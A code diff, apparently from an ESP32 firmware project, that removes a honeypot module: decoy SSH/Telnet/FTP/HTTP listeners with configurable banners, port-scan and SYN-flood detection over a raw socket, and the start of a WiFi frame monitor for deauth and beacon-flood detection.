msg_info(TAG, "wifi_monitor=started", req);
} else if (strcmp(action, "stop") == 0) {
hp_wifi_monitor_stop();
msg_info(TAG, "wifi_monitor=stopped", req);
} else if (strcmp(action, "status") == 0) {
char buf[256];
hp_wifi_monitor_status(buf, sizeof(buf));
msg_info(TAG, buf, req);
} else {
msg_error(TAG, "error=invalid_action expected=start|stop|status", req);
return ESP_ERR_INVALID_ARG;
}
return ESP_OK;
}
/* ============================================================
* COMMAND: hp_net <start|stop|status>
* ============================================================ */
static esp_err_t cmd_hp_net(
int argc, char **argv, const char *req, void *ctx)
{
(void)ctx;
const char *action = argv[0];
if (strcmp(action, "start") == 0) {
hp_net_monitor_start();
msg_info(TAG, "net_monitor=started", req);
} else if (strcmp(action, "stop") == 0) {
hp_net_monitor_stop();
msg_info(TAG, "net_monitor=stopped", req);
} else if (strcmp(action, "status") == 0) {
char buf[256];
hp_net_monitor_status(buf, sizeof(buf));
msg_info(TAG, buf, req);
} else {
msg_error(TAG, "error=invalid_action expected=start|stop|status", req);
return ESP_ERR_INVALID_ARG;
}
return ESP_OK;
}
/* ============================================================
* COMMAND: hp_config_set <type> <key> <value>
* ============================================================ */
static esp_err_t cmd_hp_config_set(
int argc, char **argv, const char *req, void *ctx)
{
(void)ctx;
const char *type = argv[0];
const char *key = argv[1];
const char *value = argv[2];
esp_err_t err;
if (strcmp(type, "banner") == 0) {
err = hp_config_set_banner(key, value);
} else if (strcmp(type, "threshold") == 0) {
err = hp_config_set_threshold(key, atoi(value));
} else {
msg_error(TAG, "error=invalid_config_type expected=banner|threshold", req);
return ESP_ERR_INVALID_ARG;
}
if (err == ESP_OK) {
char buf[128];
snprintf(buf, sizeof(buf), "config_set=%s.%s value=%s", type, key, value);
msg_info(TAG, buf, req);
} else {
msg_error(TAG, "error=config_set_failed", req);
}
return err;
}
/* ============================================================
* COMMAND: hp_config_get <type> <key>
* ============================================================ */
static esp_err_t cmd_hp_config_get(
int argc, char **argv, const char *req, void *ctx)
{
(void)ctx;
const char *type = argv[0];
const char *key = argv[1];
char buf[256];
if (strcmp(type, "banner") == 0) {
char val[128];
hp_config_get_banner(key, val, sizeof(val));
/* Strip newlines for display */
for (char *p = val; *p; p++) {
if (*p == '\r' || *p == '\n') { *p = '\0'; break; }
}
snprintf(buf, sizeof(buf), "banner_%s=%s", key, val);
} else if (strcmp(type, "threshold") == 0) {
int val = hp_config_get_threshold(key);
snprintf(buf, sizeof(buf), "threshold_%s=%d", key, val);
} else {
msg_error(TAG, "error=invalid_config_type expected=banner|threshold", req);
return ESP_ERR_INVALID_ARG;
}
msg_info(TAG, buf, req);
return ESP_OK;
}
/* ============================================================
* COMMAND: hp_config_list [type]
* ============================================================ */
static esp_err_t cmd_hp_config_list(
int argc, char **argv, const char *req, void *ctx)
{
(void)ctx;
const char *filter = (argc > 0) ? argv[0] : "";
char buf[512];
hp_config_list(filter, buf, sizeof(buf));
msg_info(TAG, buf, req);
return ESP_OK;
}
/* ============================================================
* COMMAND: hp_config_reset
* ============================================================ */
static esp_err_t cmd_hp_config_reset(
int argc, char **argv, const char *req, void *ctx)
{
(void)argc; (void)argv; (void)ctx;
esp_err_t err = hp_config_reset_all();
if (err == ESP_OK)
msg_info(TAG, "config=reset_to_defaults", req);
else
msg_error(TAG, "error=config_reset_failed", req);
return err;
}
/* ============================================================
* COMMAND: hp_status
* ============================================================ */
static esp_err_t cmd_hp_status(
int argc, char **argv, const char *req, void *ctx)
{
(void)argc; (void)argv; (void)ctx;
char buf[512];
int off = 0;
/* Services */
for (int i = 0; i < HP_SVC_COUNT; i++) {
off += snprintf(buf + off, sizeof(buf) - off, "%s=%s ",
hp_svc_id_to_name((hp_svc_id_t)i),
hp_svc_running((hp_svc_id_t)i) ? "up" : "down");
}
/* Monitors */
off += snprintf(buf + off, sizeof(buf) - off, "wifi_mon=%s net_mon=%s",
hp_wifi_monitor_running() ? "up" : "down",
hp_net_monitor_running() ? "up" : "down");
msg_info(TAG, buf, req);
return ESP_OK;
}
/* ============================================================
* COMMAND: hp_start_all start all services + monitors
* ============================================================ */
static esp_err_t cmd_hp_start_all(
int argc, char **argv, const char *req, void *ctx)
{
(void)argc; (void)argv; (void)ctx;
for (int i = 0; i < HP_SVC_COUNT; i++)
hp_svc_start((hp_svc_id_t)i);
hp_wifi_monitor_start();
hp_net_monitor_start();
msg_info(TAG, "all=started", req);
return ESP_OK;
}
/* ============================================================
* COMMAND: hp_stop_all stop all services + monitors
* ============================================================ */
static esp_err_t cmd_hp_stop_all(
int argc, char **argv, const char *req, void *ctx)
{
(void)argc; (void)argv; (void)ctx;
for (int i = 0; i < HP_SVC_COUNT; i++)
hp_svc_stop((hp_svc_id_t)i);
hp_wifi_monitor_stop();
hp_net_monitor_stop();
msg_info(TAG, "all=stopped", req);
return ESP_OK;
}
/* ============================================================
* COMMAND REGISTRATION
* ============================================================ */
static const command_t hp_cmds[] = {
{ "hp_svc", NULL, "Service control", 2, 2, cmd_hp_svc, NULL, false },
{ "hp_wifi", NULL, "WiFi monitor", 1, 1, cmd_hp_wifi, NULL, false },
{ "hp_net", NULL, "Network monitor", 1, 1, cmd_hp_net, NULL, false },
{ "hp_config_set", NULL, "Set config", 3, 3, cmd_hp_config_set, NULL, false },
{ "hp_config_get", NULL, "Get config", 2, 2, cmd_hp_config_get, NULL, false },
{ "hp_config_list", NULL, "List config", 0, 1, cmd_hp_config_list, NULL, false },
{ "hp_config_reset", NULL, "Reset config", 0, 0, cmd_hp_config_reset, NULL, false },
{ "hp_status", NULL, "Honeypot status", 0, 0, cmd_hp_status, NULL, false },
{ "hp_start_all", NULL, "Start all services", 0, 0, cmd_hp_start_all, NULL, false },
{ "hp_stop_all", NULL, "Stop all services", 0, 0, cmd_hp_stop_all, NULL, false },
};
void mod_honeypot_register_commands(void)
{
ESPILON_LOGI_PURPLE(TAG, "Registering honeypot commands");
hp_config_init();
for (size_t i = 0; i < sizeof(hp_cmds) / sizeof(hp_cmds[0]); i++) {
command_register(&hp_cmds[i]);
}
}
#endif /* CONFIG_MODULE_HONEYPOT */

View File

@ -1,8 +0,0 @@
/*
* cmd_honeypot.h
* Honeypot module public API.
* Compiled as empty when CONFIG_MODULE_HONEYPOT is not set.
*/
#pragma once
void mod_honeypot_register_commands(void);

View File

@ -1,204 +0,0 @@
/*
* hp_config.c
* NVS-backed runtime configuration for honeypot services.
*/
#include "sdkconfig.h"
#ifdef CONFIG_MODULE_HONEYPOT
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include "esp_log.h"
#include "nvs_flash.h"
#include "nvs.h"
#include "hp_config.h"
#define TAG "HP_CFG"
#define NVS_NS "hp_cfg"
/* ============================================================
* Default banners
* ============================================================ */
static const struct {
const char *service;
const char *banner;
} default_banners[] = {
{ "ssh", "SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6\r\n" },
{ "telnet", "\r\nUbuntu 22.04.3 LTS\r\nlogin: " },
{ "ftp", "220 ProFTPD 1.3.5e Server (Debian)\r\n" },
{ "http", "HTTP/1.1 200 OK\r\nServer: Apache/2.4.54 (Ubuntu)\r\n" },
};
#define NUM_BANNERS (sizeof(default_banners) / sizeof(default_banners[0]))
/* ============================================================
* Default thresholds
* ============================================================ */
static const struct {
const char *key;
int value;
} default_thresholds[] = {
{ "portscan", 5 },
{ "synflood", 50 },
{ "icmp", 10 },
{ "udpflood", 100 },
{ "arpflood", 50 },
{ "tarpit_ms", 2000 },
};
#define NUM_THRESHOLDS (sizeof(default_thresholds) / sizeof(default_thresholds[0]))
/* ============================================================
* Init
* ============================================================ */
void hp_config_init(void)
{
ESP_LOGI(TAG, "Config subsystem ready (NVS ns=%s)", NVS_NS);
}
/* ============================================================
* Banner helpers
* ============================================================ */
static const char *_default_banner(const char *service)
{
for (size_t i = 0; i < NUM_BANNERS; i++) {
if (strcmp(default_banners[i].service, service) == 0)
return default_banners[i].banner;
}
return "";
}
esp_err_t hp_config_get_banner(const char *service, char *out, size_t out_len)
{
nvs_handle_t h;
esp_err_t err = nvs_open(NVS_NS, NVS_READONLY, &h);
if (err == ESP_OK) {
char key[16];
snprintf(key, sizeof(key), "b_%s", service);
size_t len = out_len;
err = nvs_get_str(h, key, out, &len);
nvs_close(h);
if (err == ESP_OK)
return ESP_OK;
}
/* Fall back to compile-time default */
const char *def = _default_banner(service);
snprintf(out, out_len, "%s", def);
return ESP_OK;
}
esp_err_t hp_config_set_banner(const char *service, const char *value)
{
nvs_handle_t h;
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
if (err != ESP_OK) return err;
char key[16];
snprintf(key, sizeof(key), "b_%s", service);
err = nvs_set_str(h, key, value);
if (err == ESP_OK) err = nvs_commit(h);
nvs_close(h);
return err;
}
/* ============================================================
* Threshold helpers
* ============================================================ */
static int _default_threshold(const char *key)
{
for (size_t i = 0; i < NUM_THRESHOLDS; i++) {
if (strcmp(default_thresholds[i].key, key) == 0)
return default_thresholds[i].value;
}
return 0;
}
int hp_config_get_threshold(const char *key)
{
nvs_handle_t h;
esp_err_t err = nvs_open(NVS_NS, NVS_READONLY, &h);
if (err == ESP_OK) {
char nkey[16];
snprintf(nkey, sizeof(nkey), "t_%s", key);
int32_t val = 0;
err = nvs_get_i32(h, nkey, &val);
nvs_close(h);
if (err == ESP_OK)
return (int)val;
}
return _default_threshold(key);
}
esp_err_t hp_config_set_threshold(const char *key, int value)
{
/* Clamp to sane range */
if (value < 1) value = 1;
if (value > 10000) value = 10000;
nvs_handle_t h;
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
if (err != ESP_OK) return err;
char nkey[16];
snprintf(nkey, sizeof(nkey), "t_%s", key);
err = nvs_set_i32(h, nkey, (int32_t)value);
if (err == ESP_OK) err = nvs_commit(h);
nvs_close(h);
return err;
}
/* ============================================================
* Reset
* ============================================================ */
esp_err_t hp_config_reset_all(void)
{
nvs_handle_t h;
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
if (err != ESP_OK) return err;
err = nvs_erase_all(h);
if (err == ESP_OK) err = nvs_commit(h);
nvs_close(h);
ESP_LOGI(TAG, "Config reset to defaults");
return err;
}
/* ============================================================
* List
* ============================================================ */
int hp_config_list(const char *type_filter, char *buf, size_t buf_len)
{
int off = 0;
bool show_banners = (!type_filter || !type_filter[0] ||
strcmp(type_filter, "banner") == 0);
bool show_thresholds = (!type_filter || !type_filter[0] ||
strcmp(type_filter, "threshold") == 0);
if (show_banners) {
for (size_t i = 0; i < NUM_BANNERS; i++) {
char val[128];
hp_config_get_banner(default_banners[i].service, val, sizeof(val));
/* Truncate for display (strip \r\n) */
char *p = val;
while (*p && *p != '\r' && *p != '\n') p++;
*p = '\0';
off += snprintf(buf + off, buf_len - off,
"banner_%s=%s ", default_banners[i].service, val);
}
}
if (show_thresholds) {
for (size_t i = 0; i < NUM_THRESHOLDS; i++) {
int val = hp_config_get_threshold(default_thresholds[i].key);
off += snprintf(buf + off, buf_len - off,
"threshold_%s=%d ", default_thresholds[i].key, val);
}
}
return off;
}
#endif /* CONFIG_MODULE_HONEYPOT */

View File

@ -1,29 +0,0 @@
/*
* hp_config.h
* NVS-backed runtime configuration for honeypot services.
*
* Two config types:
* "banner" per-service banner strings (ssh, telnet, ftp, http)
* "threshold" detection thresholds (portscan, synflood, icmp, udpflood, arpflood, tarpit_ms)
*/
#pragma once
#include "esp_err.h"
#include <stdint.h>
/* Initialise NVS namespace (call once at registration time) */
void hp_config_init(void);
/* banner get/set — returns ESP_OK or ESP_ERR_* */
esp_err_t hp_config_get_banner(const char *service, char *out, size_t out_len);
esp_err_t hp_config_set_banner(const char *service, const char *value);
/* threshold get/set */
int hp_config_get_threshold(const char *key);
esp_err_t hp_config_set_threshold(const char *key, int value);
/* Reset all config to compile-time defaults */
esp_err_t hp_config_reset_all(void);
/* List all config as key=value pairs into buf (for status responses) */
int hp_config_list(const char *type_filter, char *buf, size_t buf_len);

View File

@ -1,331 +0,0 @@
/*
* hp_net_monitor.c
* Network anomaly detector: port scan, SYN flood.
*
* Uses a raw TCP socket (LWIP) to inspect incoming SYN packets.
* Maintains a per-IP tracking table (max 32 entries) with sliding
* window counters. Sends HP| events when thresholds are exceeded.
*
* Note: ARP monitoring requires LWIP netif hooks (layer 2) and is
* not possible via raw sockets. May be added via etharp callback later.
*/
#include "sdkconfig.h"
#ifdef CONFIG_MODULE_HONEYPOT
#include <stdio.h>
#include <string.h>
#include <stdatomic.h>
#include "esp_log.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "freertos/semphr.h"
#include "lwip/sockets.h"
#include "utils.h"
#include "event_format.h"
#include "hp_config.h"
#include "hp_net_monitor.h"
#define TAG "HP_NET"
#define NET_MON_STACK 4096
#define NET_MON_PRIO 4
#define NET_MON_CORE 1
/* Tracking table */
#define MAX_TRACKED_IPS 32
#define WINDOW_SEC 10 /* Sliding window for detections */
/* ============================================================
* IP tracker entry
* ============================================================ */
typedef struct {
uint32_t ip; /* Network byte order */
uint32_t first_seen; /* Tick count (ms) */
uint32_t last_seen;
uint16_t unique_ports[32]; /* Ring buffer of destination ports */
uint8_t port_idx;
uint8_t port_count;
uint32_t syn_count; /* SYN packets in window */
bool portscan_alerted;
bool synflood_alerted;
} ip_tracker_t;
/* ============================================================
* State
* ============================================================ */
static atomic_bool net_running = false;
static atomic_bool net_stop_req = false;
static TaskHandle_t net_task = NULL;
static SemaphoreHandle_t tracker_mutex = NULL;
static ip_tracker_t trackers[MAX_TRACKED_IPS];
static int tracker_count = 0;
static uint32_t total_port_scans = 0;
static uint32_t total_syn_floods = 0;
/* ============================================================
* Tracker helpers
* ============================================================ */
static uint32_t now_ms(void)
{
return (uint32_t)(xTaskGetTickCount() * portTICK_PERIOD_MS);
}
static void ip_to_str(uint32_t ip_nbo, char *buf, size_t len)
{
uint8_t *b = (uint8_t *)&ip_nbo;
snprintf(buf, len, "%d.%d.%d.%d", b[0], b[1], b[2], b[3]);
}
static ip_tracker_t *find_or_create_tracker(uint32_t ip)
{
uint32_t now = now_ms();
/* Search existing */
for (int i = 0; i < tracker_count; i++) {
if (trackers[i].ip == ip)
return &trackers[i];
}
/* Evict oldest if full */
if (tracker_count >= MAX_TRACKED_IPS) {
int oldest_idx = 0;
uint32_t oldest_time = trackers[0].last_seen;
for (int i = 1; i < tracker_count; i++) {
if (trackers[i].last_seen < oldest_time) {
oldest_time = trackers[i].last_seen;
oldest_idx = i;
}
}
if (oldest_idx < tracker_count - 1)
trackers[oldest_idx] = trackers[tracker_count - 1];
tracker_count--;
}
ip_tracker_t *t = &trackers[tracker_count++];
memset(t, 0, sizeof(*t));
t->ip = ip;
t->first_seen = now;
t->last_seen = now;
return t;
}
static void expire_trackers(void)
{
uint32_t now = now_ms();
uint32_t window = WINDOW_SEC * 1000;
for (int i = 0; i < tracker_count; ) {
if ((now - trackers[i].last_seen) > window * 3) {
if (i < tracker_count - 1)
trackers[i] = trackers[tracker_count - 1];
tracker_count--;
} else {
if ((now - trackers[i].first_seen) > window) {
trackers[i].syn_count = 0;
trackers[i].port_count = 0;
trackers[i].port_idx = 0;
trackers[i].first_seen = now;
trackers[i].portscan_alerted = false;
trackers[i].synflood_alerted = false;
}
i++;
}
}
}
static bool port_already_seen(ip_tracker_t *t, uint16_t port)
{
for (int i = 0; i < t->port_count && i < 32; i++) {
if (t->unique_ports[i] == port)
return true;
}
return false;
}
/* ============================================================
* Event recording
* ============================================================ */
static void record_syn(uint32_t src_ip, uint16_t dst_port)
{
if (!tracker_mutex ||
xSemaphoreTake(tracker_mutex, pdMS_TO_TICKS(50)) != pdTRUE)
return;
ip_tracker_t *t = find_or_create_tracker(src_ip);
t->last_seen = now_ms();
t->syn_count++;
/* Track unique ports for portscan detection */
if (!port_already_seen(t, dst_port)) {
t->unique_ports[t->port_idx % 32] = dst_port;
t->port_idx++;
t->port_count++;
}
/* Snapshot values before releasing mutex */
uint8_t port_count = t->port_count;
uint32_t syn_count = t->syn_count;
bool ps_alerted = t->portscan_alerted;
bool sf_alerted = t->synflood_alerted;
int ps_thresh = hp_config_get_threshold("portscan");
if (port_count >= (uint8_t)ps_thresh && !ps_alerted) {
t->portscan_alerted = true;
total_port_scans++;
}
int sf_thresh = hp_config_get_threshold("synflood");
if (syn_count >= (uint32_t)sf_thresh && !sf_alerted) {
t->synflood_alerted = true;
total_syn_floods++;
}
xSemaphoreGive(tracker_mutex);
/* Send events outside mutex to avoid blocking */
if (port_count >= (uint8_t)ps_thresh && !ps_alerted) {
char ip_str[16];
ip_to_str(src_ip, ip_str, sizeof(ip_str));
char detail[64];
snprintf(detail, sizeof(detail), "unique_ports=%d window=%ds",
port_count, WINDOW_SEC);
event_send("PORT_SCAN", "HIGH", "00:00:00:00:00:00",
ip_str, 0, 0, detail, NULL);
}
if (syn_count >= (uint32_t)sf_thresh && !sf_alerted) {
char ip_str[16];
ip_to_str(src_ip, ip_str, sizeof(ip_str));
char detail[64];
snprintf(detail, sizeof(detail), "syn_count=%lu window=%ds",
(unsigned long)syn_count, WINDOW_SEC);
event_send("SYN_FLOOD", "CRITICAL", "00:00:00:00:00:00",
ip_str, 0, 0, detail, NULL);
}
}
/* ============================================================
* Raw socket listener task
* ============================================================ */
static void net_monitor_task(void *arg)
{
(void)arg;
int raw_fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
if (raw_fd < 0) {
ESP_LOGE(TAG, "raw socket failed: %d", errno);
goto done;
}
struct timeval tv = { .tv_sec = 1, .tv_usec = 0 };
setsockopt(raw_fd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
ESP_LOGI(TAG, "Network monitor started");
net_running = true;
uint8_t pkt_buf[128];
while (!net_stop_req) {
struct sockaddr_in src_addr;
socklen_t addr_len = sizeof(src_addr);
int n = recvfrom(raw_fd, pkt_buf, sizeof(pkt_buf), 0,
(struct sockaddr *)&src_addr, &addr_len);
if (n > 0) {
uint8_t ihl = (pkt_buf[0] & 0x0F) * 4;
if (ihl < 20 || n < ihl + 20)
goto next;
uint8_t *tcp = pkt_buf + ihl;
uint16_t dst_port = (tcp[2] << 8) | tcp[3];
uint8_t flags = tcp[13];
/* SYN set, ACK not set → connection initiation */
if ((flags & 0x02) && !(flags & 0x10)) {
record_syn(src_addr.sin_addr.s_addr, dst_port);
}
}
next:
if (tracker_mutex &&
xSemaphoreTake(tracker_mutex, pdMS_TO_TICKS(50)) == pdTRUE) {
expire_trackers();
xSemaphoreGive(tracker_mutex);
}
}
close(raw_fd);
done:
net_running = false;
net_stop_req = false;
ESP_LOGI(TAG, "Network monitor stopped");
net_task = NULL;
vTaskDelete(NULL);
}
/* ============================================================
* Public API
* ============================================================ */
void hp_net_monitor_start(void)
{
if (net_running || net_task) {
ESP_LOGW(TAG, "Network monitor already running");
return;
}
if (!tracker_mutex)
tracker_mutex = xSemaphoreCreateMutex();
tracker_count = 0;
total_port_scans = total_syn_floods = 0;
memset(trackers, 0, sizeof(trackers));
net_stop_req = false;
BaseType_t ret = xTaskCreatePinnedToCore(net_monitor_task, "hp_net",
NET_MON_STACK, NULL, NET_MON_PRIO, &net_task, NET_MON_CORE);
if (ret != pdPASS) {
ESP_LOGE(TAG, "Failed to create net monitor task");
net_task = NULL;
}
}
void hp_net_monitor_stop(void)
{
if (!net_running && !net_task) {
ESP_LOGW(TAG, "Network monitor not running");
return;
}
net_stop_req = true;
ESP_LOGI(TAG, "Network monitor stop requested");
}
bool hp_net_monitor_running(void)
{
return net_running;
}
int hp_net_monitor_status(char *buf, size_t len)
{
int count = 0;
if (tracker_mutex &&
xSemaphoreTake(tracker_mutex, pdMS_TO_TICKS(50)) == pdTRUE) {
count = tracker_count;
xSemaphoreGive(tracker_mutex);
}
return snprintf(buf, len,
"running=%s tracked_ips=%d port_scans=%lu syn_floods=%lu",
net_running ? "yes" : "no",
count,
(unsigned long)total_port_scans,
(unsigned long)total_syn_floods);
}
#endif /* CONFIG_MODULE_HONEYPOT */

View File

@ -1,13 +0,0 @@
/*
* hp_net_monitor.h
* Network anomaly detector: port scan, SYN flood, ARP flood/spoof.
* Runs a periodic task that inspects counters updated from raw sockets.
*/
#pragma once
#include <stdbool.h>
void hp_net_monitor_start(void);
void hp_net_monitor_stop(void);
bool hp_net_monitor_running(void);
int hp_net_monitor_status(char *buf, size_t len);

View File

@ -1,204 +0,0 @@
/*
* hp_tcp_services.c
* Generic TCP listener + public API for honeypot services.
* Service handlers live in services/svc_*.c
*/
#include "sdkconfig.h"
#ifdef CONFIG_MODULE_HONEYPOT
#include <errno.h>
#include "esp_log.h"
#include "services/svc_common.h"
#include "hp_tcp_services.h"
#define TAG "HP_SVC"
#define SVC_STACK_SIZE 4096
#define SVC_PRIORITY 4
#define SVC_CORE 1
#define ACCEPT_TIMEOUT_S 2
#define CLIENT_TIMEOUT_S 5
/* ============================================================
* Service descriptors
* ============================================================ */
static hp_svc_desc_t services[HP_SVC_COUNT] = {
[HP_SVC_SSH] = { .name = "ssh", .port = 22 },
[HP_SVC_TELNET] = { .name = "telnet", .port = 23 },
[HP_SVC_HTTP] = { .name = "http", .port = 80 },
[HP_SVC_FTP] = { .name = "ftp", .port = 21 },
};
static const hp_client_handler_t handlers[HP_SVC_COUNT] = {
[HP_SVC_SSH] = handle_ssh_client,
[HP_SVC_TELNET] = handle_telnet_client,
[HP_SVC_HTTP] = handle_http_client,
[HP_SVC_FTP] = handle_ftp_client,
};
/* ============================================================
* Name <-> ID mapping
* ============================================================ */
int hp_svc_name_to_id(const char *name)
{
for (int i = 0; i < HP_SVC_COUNT; i++) {
if (strcmp(services[i].name, name) == 0)
return i;
}
return -1;
}
const char *hp_svc_id_to_name(hp_svc_id_t svc)
{
if (svc >= HP_SVC_COUNT) return "unknown";
return services[svc].name;
}
/* ============================================================
* Client IP helper
* ============================================================ */
static void sockaddr_to_str(const struct sockaddr_in *addr,
char *ip_buf, size_t ip_len,
uint16_t *port_out)
{
inet_ntoa_r(addr->sin_addr, ip_buf, ip_len);
*port_out = ntohs(addr->sin_port);
}
/* ============================================================
* Generic listener task
* ============================================================ */
static void listener_task(void *arg)
{
hp_svc_desc_t *svc = (hp_svc_desc_t *)arg;
int listen_fd = -1;
struct sockaddr_in addr = {
.sin_family = AF_INET,
.sin_port = htons(svc->port),
.sin_addr.s_addr = htonl(INADDR_ANY),
};
listen_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (listen_fd < 0) {
ESP_LOGE(TAG, "%s: socket() failed: %d", svc->name, errno);
goto done;
}
int opt = 1;
setsockopt(listen_fd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
if (bind(listen_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
ESP_LOGE(TAG, "%s: bind(%d) failed: %d", svc->name, svc->port, errno);
goto done;
}
if (listen(listen_fd, 2) < 0) {
ESP_LOGE(TAG, "%s: listen() failed: %d", svc->name, errno);
goto done;
}
struct timeval tv = { .tv_sec = ACCEPT_TIMEOUT_S, .tv_usec = 0 };
setsockopt(listen_fd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
ESP_LOGI(TAG, "%s listening on port %d", svc->name, svc->port);
svc->running = true;
while (!svc->stop_req) {
struct sockaddr_in client_addr;
socklen_t clen = sizeof(client_addr);
int client_fd = accept(listen_fd,
(struct sockaddr *)&client_addr, &clen);
if (client_fd < 0) {
if (errno == EAGAIN || errno == EWOULDBLOCK)
continue;
ESP_LOGW(TAG, "%s: accept error: %d", svc->name, errno);
continue;
}
struct timeval ctv = { .tv_sec = CLIENT_TIMEOUT_S, .tv_usec = 0 };
setsockopt(client_fd, SOL_SOCKET, SO_RCVTIMEO, &ctv, sizeof(ctv));
char client_ip[16];
uint16_t client_port;
sockaddr_to_str(&client_addr, client_ip, sizeof(client_ip),
&client_port);
hp_svc_id_t id = (hp_svc_id_t)(svc - services);
if (id < HP_SVC_COUNT && handlers[id]) {
handlers[id](client_fd, client_ip, client_port, svc);
}
close(client_fd);
}
done:
if (listen_fd >= 0)
close(listen_fd);
svc->running = false;
svc->stop_req = false;
ESP_LOGI(TAG, "%s stopped", svc->name);
svc->task = NULL;
vTaskDelete(NULL);
}
/* ============================================================
* Public API
* ============================================================ */
void hp_svc_start(hp_svc_id_t svc)
{
if (svc >= HP_SVC_COUNT) return;
hp_svc_desc_t *d = &services[svc];
if (d->running || d->task) {
ESP_LOGW(TAG, "%s already running", d->name);
return;
}
d->stop_req = false;
d->connections = 0;
d->auth_attempts = 0;
char name[16];
snprintf(name, sizeof(name), "hp_%s", d->name);
BaseType_t ret = xTaskCreatePinnedToCore(listener_task, name, SVC_STACK_SIZE,
d, SVC_PRIORITY, &d->task, SVC_CORE);
if (ret != pdPASS) {
ESP_LOGE(TAG, "Failed to create %s task", d->name);
d->task = NULL;
}
}
void hp_svc_stop(hp_svc_id_t svc)
{
if (svc >= HP_SVC_COUNT) return;
hp_svc_desc_t *d = &services[svc];
if (!d->running && !d->task) {
ESP_LOGW(TAG, "%s not running", d->name);
return;
}
d->stop_req = true;
ESP_LOGI(TAG, "%s stop requested", d->name);
}
bool hp_svc_running(hp_svc_id_t svc)
{
if (svc >= HP_SVC_COUNT) return false;
return services[svc].running;
}
int hp_svc_status(hp_svc_id_t svc, char *buf, size_t len)
{
if (svc >= HP_SVC_COUNT) return 0;
hp_svc_desc_t *d = &services[svc];
return snprintf(buf, len,
"service=%s running=%s port=%d connections=%lu auth_attempts=%lu",
d->name,
d->running ? "yes" : "no",
d->port,
(unsigned long)d->connections,
(unsigned long)d->auth_attempts);
}
#endif /* CONFIG_MODULE_HONEYPOT */

View File

@ -1,30 +0,0 @@
/*
* hp_tcp_services.h
* Lightweight TCP honeypot listeners (SSH, Telnet, HTTP, FTP).
* Each service runs as an independent FreeRTOS task.
*/
#pragma once
#include <stdbool.h>
typedef enum {
HP_SVC_SSH = 0,
HP_SVC_TELNET = 1,
HP_SVC_HTTP = 2,
HP_SVC_FTP = 3,
HP_SVC_COUNT
} hp_svc_id_t;
/* Start / stop a single service */
void hp_svc_start(hp_svc_id_t svc);
void hp_svc_stop(hp_svc_id_t svc);
bool hp_svc_running(hp_svc_id_t svc);
/* Get service status line (key=value format) */
int hp_svc_status(hp_svc_id_t svc, char *buf, size_t len);
/* Map service name string to id, returns -1 on unknown */
int hp_svc_name_to_id(const char *name);
/* Map id to name */
const char *hp_svc_id_to_name(hp_svc_id_t svc);

View File

@ -1,320 +0,0 @@
/*
* hp_wifi_monitor.c
* WiFi promiscuous-mode monitor: probe requests, deauth frames,
* beacon flood, EAPOL capture detection.
*
* Sends EVT| events via event_send().
* Conflict guard: refuses to start if the fakeAP sniffer is active.
*/
#include "sdkconfig.h"
#ifdef CONFIG_MODULE_HONEYPOT
#include <stdio.h>
#include <string.h>
#include <stdatomic.h>
#include "esp_wifi.h"
#include "esp_log.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "utils.h"
#include "event_format.h"
#include "hp_config.h"
#include "hp_wifi_monitor.h"
#define TAG "HP_WIFI"
#define WIFI_MON_STACK 4096
#define WIFI_MON_PRIO 4
#define WIFI_MON_CORE 1
/* Rate-limit counters (only report every N-th event) */
#define PROBE_RATE_LIMIT 10
#define DEAUTH_RATE_LIMIT 5
#define BEACON_RATE_LIMIT 20
#define EAPOL_RATE_LIMIT 3
/* Beacon flood detection: N beacons in BEACON_WINDOW_MS from same src */
#define BEACON_FLOOD_THRESHOLD 50
#define BEACON_WINDOW_MS 5000
/* ============================================================
* State
* ============================================================ */
static atomic_bool mon_running = false;
static atomic_bool mon_stop_req = false;
static TaskHandle_t mon_task = NULL;
static uint32_t cnt_probe = 0;
static uint32_t cnt_deauth = 0;
static uint32_t cnt_beacon = 0;
static uint32_t cnt_eapol = 0;
/* Multi-source beacon flood tracker */
#define BEACON_TRACK_MAX 4
typedef struct {
uint8_t mac[6];
uint32_t count;
uint32_t start;
bool alerted;
} beacon_tracker_t;
static beacon_tracker_t beacon_trackers[BEACON_TRACK_MAX];
static int beacon_tracker_count = 0;
/* ============================================================
* IEEE 802.11 helpers
* ============================================================ */
/* Frame control subtypes */
#define WLAN_FC_TYPE_MGMT 0x00
#define WLAN_FC_STYPE_PROBE 0x40 /* Probe Request */
#define WLAN_FC_STYPE_BEACON 0x80 /* Beacon */
#define WLAN_FC_STYPE_DEAUTH 0xC0 /* Deauthentication */
/* EAPOL: data frame with ethertype 0x888E */
#define ETHERTYPE_EAPOL 0x888E
static void mac_to_str(const uint8_t *mac, char *buf, size_t len)
{
snprintf(buf, len, "%02x:%02x:%02x:%02x:%02x:%02x",
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
}
/* ============================================================
* Beacon flood helper find or create tracker for MAC
* ============================================================ */
static beacon_tracker_t *beacon_find_or_create(const uint8_t *mac, uint32_t now)
{
/* Search existing */
for (int i = 0; i < beacon_tracker_count; i++) {
if (memcmp(beacon_trackers[i].mac, mac, 6) == 0)
return &beacon_trackers[i];
}
/* Evict oldest if full */
if (beacon_tracker_count >= BEACON_TRACK_MAX) {
int oldest = 0;
for (int i = 1; i < beacon_tracker_count; i++) {
if (beacon_trackers[i].start < beacon_trackers[oldest].start)
oldest = i;
}
if (oldest < beacon_tracker_count - 1)
beacon_trackers[oldest] = beacon_trackers[beacon_tracker_count - 1];
beacon_tracker_count--;
}
beacon_tracker_t *t = &beacon_trackers[beacon_tracker_count++];
memcpy(t->mac, mac, 6);
t->count = 0;
t->start = now;
t->alerted = false;
return t;
}
/* ============================================================
* Promiscuous RX callback
* ============================================================ */
static void wifi_monitor_rx_cb(void *buf, wifi_promiscuous_pkt_type_t type)
{
if (!mon_running)
return;
